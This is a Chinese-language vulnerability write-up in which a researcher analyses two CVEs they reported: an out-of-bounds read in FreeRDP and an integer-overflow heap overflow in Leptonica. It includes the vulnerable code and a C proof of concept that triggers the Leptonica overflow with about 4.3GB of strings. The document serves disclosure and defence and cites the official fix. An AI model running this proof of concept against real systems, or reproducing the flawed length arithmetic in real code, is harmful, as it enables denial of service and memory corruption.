这里记录我挖到的一些 CVE 以及对应分析。

CVE ID

  • CVE-2025-68118 (FreeRDP)
  • CVE-2026-30772 (Leptonica)

CVE-2025-68118 (FreeRDP)

Overview

在 FreeRDP 中的 freerdp_certificate_data_hash_ 函数存在潜在越界读问题。

问题出现在 _snprintf 的使用上:当生成字符串长度超过缓冲区大小时,返回值未被正确处理,且缓冲区可能未以 \0 结尾,导致后续字符串处理函数在未终止字符串上继续操作。

Root Cause

_snprintf(name, length, "%s:%" PRIu16, hostname, port);
  • _snprintf 发生截断时不会保证 \0 结尾
  • 后续调用:
    • ensure_valid_charset
    • ensure_lowercase
  • 这些函数在未终止字符串上操作 → 越界读

Impact

理论影响:

  • 越界读(OOB Read)
  • 在极端情况下可能触发 crash(取决于 heap layout)

但根据厂商反馈:

  • 默认客户端无法泄露数据
  • 连接流程会提前终止

👉 实际影响较低

Notes

return _strdup(name);

_strdup 会一直读取直到遇到 \0,因此理论上存在跨页访问风险,但实际利用较困难。

CVE-2026-30772 (Leptonica)

Overview

在 Leptonica 1.88.0 之前版本中,字符串数组处理逻辑存在整数溢出漏洞,可导致堆缓冲区溢出。

漏洞位于 sarray1.c,并影响多个导出函数。

Root Cause

漏洞代码位于 src/sarray1.c 第 785 行附近:

// src/sarray1.c
l_int32  size, index, len; // [触发点:使用 32 位有符号整数]
...
size = 0;
for (i = first; i <= last; i++) {
    str = sarrayGetString(sa, i, L_NOCOPY);
    size += strlen(str) + 2; // [1] 整数溢出点
}
dest = (char *)LEPT_CALLOC(size + 1, sizeof(char)); // [2] 缓冲区分配过小
...
index = 0;
for (i = first; i <= last; i++) {
    src = sarrayGetString(sa, i, L_NOCOPY);
    len = strlen(src);
    memcpy(dest + index, src, len); // [3] 堆溢出写入
    index += len;
    ...
}

长度计算溢出:当所有字符串长度累加超过 2 的 31 次方之后size 变为负数;超过 2 的 32 次方后,size 发生环绕变成一个较小的正数。 错误分配:LEPT_CALLOC 接收到溢出后的错误长度,分配了一个极小的缓冲区。 **越界写入:**memcpy 循环会继续按照实际的 4GB 数据量进行写入。
符号扩展与向前溢出:在 64 位系统上,由于 index 也是 l_int32,当其超过 2GB 变为负数时,通过指针算术 dest + index 计算地址时会发生符号扩展(Sign Extension),导致指针“倒车”指向 dest 之前的内存地址,造成更大范围的内存破坏。

Propagation

该漏洞不仅存在于单一函数,而是影响多个可被调用的API函数:

  • sarrayToStringRange()(根源)
  • sarrayToString()
  • sarrayConcatUniformly()
  • strcodeFinalize()

POC

/*
 * ----------------------------------------------------------------------------
 * Security Research Proof of Concept (PoC)
 * ----------------------------------------------------------------------------
 * Vulnerability: Integer Overflow leading to Heap Buffer Overflow
 * Affected Component: Leptonica Library (sarray1.c, strcode.c)
 * Functions: sarrayToString, sarrayToStringRange, sarrayConcatUniformly, strcodeFinalize
 * 
 * Author: ret2ldz
 * Discovery Date: 2026-01-26
 * 
 * Copyright (c) 2026 ret2ldz. All rights reserved.
 * ----------------------------------------------------------------------------
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "allheaders.h"

int main() {
    l_int32 i;
    l_int32 num_lines = 4300; // 4300行 * 1MB/行 ≈ 4.3GB,跨越 2^32 
    size_t line_size = 1024 * 1024; // 1MB 每行
    char *line_data;
    SARRAY *sa;
    char *result;

    printf("[*] Leptonica intergers overflow POC...\n");

    line_data = (char *)malloc(line_size + 1);
    memset(line_data, 'A', line_size);
    line_data[line_size] = '\0';

    sa = sarrayCreate(0);
    printf("[*] add data to SARRAY (total 4.3GB)...\n");
    for (i = 0; i < num_lines; i++) {
        sarrayAddString(sa, line_data, L_COPY);
        if (i % 500 == 0) {
            printf("    done with %d MB...\n", i);
        }
    }

    printf("[*] call sarrayToString()...\n");
    result = sarrayToString(sa, 2);
    if (result) {
        printf("[+] ???: %p\n", result);
        free(result);
    }

    sarrayDestroy(&sa);
    free(line_data);
    return 0;
}

Impact

  • DoS(稳定触发)
  • 潜在 RCE(取决于 heap 布局与控制能力)

👉 相比前一个漏洞,这个更接近可利用漏洞

Fix

官方修复方式:

  • l_int32 替换为 size_t
  • 修复长度计算逻辑

Reference

https://github.com/DanBloomberg/leptonica/commit/6b0635774118b039bae65ded8426264075585d84